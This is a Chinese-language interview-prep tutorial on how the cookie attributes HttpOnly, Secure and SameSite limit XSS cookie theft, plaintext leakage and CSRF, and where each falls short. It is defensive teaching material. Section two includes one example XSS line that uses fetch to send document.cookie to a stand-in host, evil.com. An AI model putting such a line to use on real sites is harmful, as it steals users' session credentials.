Cookie 的 HttpOnly、Secure、SameSite 有什么安全作用?
简化版
HttpOnly 防止前端脚本读取 Cookie,降低 XSS 窃取凭证风险;Secure 要求 Cookie 只通过 HTTPS 发送;SameSite 控制跨站请求是否携带 Cookie,可缓解 CSRF。它们是浏览器层面的防线,但不能替代服务端鉴权、CSRF Token 和 XSS 防护。
详细版
常见安全配置如下:
Set-Cookie: sid=abc; Path=/; HttpOnly; Secure; SameSite=Lax
HttpOnly 让 document.cookie 读不到该 Cookie,但请求仍会自动携带;Secure 避免明文 HTTP 泄露;SameSite=Lax 在大多数跨站子请求中不带 Cookie,但顶级导航 GET 场景仍可能携带。若需要第三方上下文携带 Cookie,通常必须设置 SameSite=None; Secure。面试要强调:Cookie 安全属性是降低风险,不是单点解决所有攻击。
完整版教学
一、Cookie 为什么是安全高频点
登录态 Cookie 通常代表用户身份,一旦被窃取或滥用,攻击者就可能冒充用户。前端面试问 Cookie 安全属性,本质是在问你是否理解“浏览器自动携带凭证”这件事的风险。
| 属性 | 主要防护 | 不能防什么 |
|---|---|---|
HttpOnly | JS 读取 Cookie | XSS 发起带 Cookie 请求 |
Secure | HTTP 明文传输泄露 | HTTPS 页面内逻辑漏洞 |
SameSite | 跨站自动携带 Cookie | 同站 XSS、复杂 OAuth 场景 |
记忆钩子:
HttpOnly管“脚本能不能读”,Secure管“能不能明文传”,SameSite管“跨站要不要带”。
二、HttpOnly 的边界
document.cookie // 看不到 HttpOnly Cookie
HttpOnly 的价值是让攻击者即使注入了脚本,也不能直接把 session id 从 document.cookie 读走。假设站点有一个 XSS,未设置 HttpOnly 时攻击脚本可以 fetch('https://evil.com?c=' + document.cookie);设置后这条窃取路径会被阻断。
但它不能阻止 XSS 代码在当前页面发请求。因为浏览器在同源请求中仍会自动携带 Cookie,攻击脚本可以调用转账、改邮箱等接口。因此 HttpOnly 是“防窃取”,不是“防滥用”。
三、Secure 和混合内容的关系
Secure 表示 Cookie 只会在 HTTPS 请求中发送。如果一个登录 Cookie 没有 Secure,用户访问同域的 HTTP 链接时,浏览器可能把 Cookie 通过明文网络发出。
Set-Cookie: sid=abc; Secure; HttpOnly; SameSite=Lax
这和 HTTPS 站点的混合内容风险是一条线:页面主体是 HTTPS,但某些资源或跳转走 HTTP,会引入中间人篡改和凭证泄露风险。现代站点通常还会配合 HSTS,让浏览器后续自动使用 HTTPS。
四、SameSite 三种取值
| SameSite | 跨站子请求 | 顶级导航 GET | 典型场景 |
|---|---|---|---|
Strict | 不带 | 不带 | 高安全后台 |
Lax | 不带 | 通常带 | 普通网站登录态 |
None | 带 | 带 | 第三方嵌入、跨站 SSO |
SameSite=Lax 是常见折中:用户从搜索结果点进站点时还能保持登录,但恶意站点发起的跨站表单、图片、脚本等子请求通常不会带登录 Cookie。若设置 SameSite=None,必须同时设置 Secure,否则现代浏览器会拒绝或限制。
五、它如何缓解 CSRF
CSRF 的关键是“攻击站点能让浏览器向受害站点发请求,并自动带上 Cookie”。SameSite 改变的正是自动携带 Cookie 的条件。
evil.com 页面
-> 自动提交表单到 bank.com/transfer
-> 若 bank.com Cookie SameSite=Lax/Strict,很多跨站场景不带 Cookie
-> 服务端拿不到登录态,请求失败
但不要把 SameSite 当作唯一 CSRF 防线。老浏览器兼容、跨站登录回跳、某些顶级导航 GET、业务误用 GET 改状态等,都可能让风险重新出现。高风险操作仍应使用 CSRF Token、二次确认或重放防护。
六、推荐配置与取舍
| Cookie 类型 | 推荐配置 | 说明 |
|---|---|---|
| 登录 Session | HttpOnly; Secure; SameSite=Lax | 常见默认选择 |
| 后台管理系统 | HttpOnly; Secure; SameSite=Strict | 安全优先,牺牲跨站入口体验 |
| 第三方 iframe | HttpOnly; Secure; SameSite=None | 必须评估第三方上下文风险 |
| 非敏感偏好 | Secure; SameSite=Lax | 可被 JS 读取时不要放敏感信息 |
前端虽然不能设置服务端 Cookie 的全部属性,但要会在联调时检查响应头。Chrome DevTools 的 Application 面板可以看到每个 Cookie 的属性,也能提示 SameSite=None 未配 Secure 等问题。
七、常见误区与追问
- 误区:
HttpOnly可以防住所有 XSS。 它只能防脚本读取 Cookie,不能阻止注入脚本发起用户态请求。 - 误区:用了 HTTPS 就不用
Secure。 没有Secure时,Cookie 仍可能在 HTTP 请求里泄露。 - 误区:
SameSite=Lax等于没有 CSRF 风险。 它降低跨站自动携带 Cookie 的范围,但不能替代完整 CSRF 防护。 - 追问:
SameSite=None为什么要配Secure? 因为第三方上下文携带 Cookie 风险更高,浏览器要求它只能通过安全连接发送。 - 追问:前端能设置
HttpOnly吗? 不能,HttpOnly必须由服务端通过Set-Cookie设置。 - 追问:Cookie 和 token 存储怎么取舍? 高敏登录态常用 HttpOnly Cookie,前端可读 token 要额外承担 XSS 窃取风险。
八、加强记忆
Cookie 安全属性可以按“三道门”记:第一道门是 HttpOnly,不让脚本读;第二道门是 Secure,不让明文传;第三道门是 SameSite,不让跨站随便带。真正答题时还要补一句边界:这些属性降低浏览器自动凭证风险,但服务端鉴权、CSRF Token、XSS 防护和 HTTPS/HSTS 仍然要一起做。